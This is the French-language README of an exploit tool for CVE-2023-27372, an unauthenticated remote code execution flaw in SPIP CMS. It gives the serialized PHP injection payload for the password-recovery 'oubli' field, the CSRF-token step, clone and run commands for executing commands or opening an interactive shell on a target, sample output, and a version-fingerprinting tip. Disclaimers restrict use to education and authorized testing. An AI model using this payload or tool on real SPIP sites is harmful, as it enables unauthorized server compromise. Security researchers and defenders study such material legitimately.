
Exploit pour CVE-2023-27372 avec shell interactif
Exploit pour CVE-2023-27372, une vulnérabilité d'exécution de code à distance sans authentification dans le CMS SPIP affectant les versions antérieures à 4.2.1.
⚠️ À des fins éducatives uniquement. Utilisez exclusivement sur des systèmes vous appartenant ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Toute utilisation non autorisée est illégale.
SPIP est un CMS open-source largement utilisé pour la publication web. Cette vulnérabilité se situe dans le formulaire de récupération de mot de passe (/spip.php?page=spip_pass), où le paramètre oubli est traité sans validation appropriée, permettant à un attaquant d'injecter et d'exécuter du code PHP arbitraire sur le serveur — sans aucune authentification requise.
| Champ | Détails |
|---|
| CVE | CVE-2023-27372 |
| Score CVSS | 9.8 (Critique) |
| Vecteur d'attaque | Réseau |
| Authentification | Aucune requise |
| Versions affectées | SPIP < 4.2.1 |
| Type de vulnérabilité | Injection de code / RCE sans authentification |
Récupérer le jeton CSRF — Une requête GET est envoyée à /spip.php?page=spip_pass pour extraire le jeton formulaire_action_args du formulaire HTML.
Construire la charge utile — Une chaîne PHP sérialisée est élaborée avec la commande à exécuter :
s:N:"<?php system('COMMAND'); ?>";
Où N est la longueur exacte en octets de la chaîne PHP interne.
Envoyer la charge utile — Une requête POST est effectuée avec la charge utile élaborée dans le champ oubli accompagnée du jeton CSRF. SPIP traite ce champ sans validation et exécute le code PHP injecté.
Extraire la sortie — La sortie de la commande est renvoyée dans la réponse HTML et extraite de l'attribut value du champ de saisie oubli.
requestsbeautifulsoup4argparseregex
git clone https://github.com/scriniarii/CVE-2023-27372
cd CVE-2023-27372
pip install requests beautifulsoup4
python3 exploit.py -u <URL> -c <command>
| Argument | Description |
|---|---|
-u, --url | URL de base de l'instance SPIP cible |
-c, --command | Commande système à exécuter sur la cible |
-s, --shell | Shell interactif |
python3 exploit.py -u http://TARGET/ -c "id"
python3 exploit.py -u http://TARGET/ -s
Sortie attendue :
[+] Token found : JWDCxt5PTFzhPb...
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Pour vérifier la version SPIP d'une cible, recherchez la balise meta generator dans le HTML :
<meta name="generator" content="SPIP 4.2.0" />
[!CAUTION]
⚠️ Avertissement
Veuillez utiliser les informations et exploits fournis dans mes dépôts à des fins éducatives et de divulgation responsable uniquement. Je ne suis pas responsable de toute utilisation abusive ou des dommages causés par l'utilisation de ces outils, scripts ou exploits.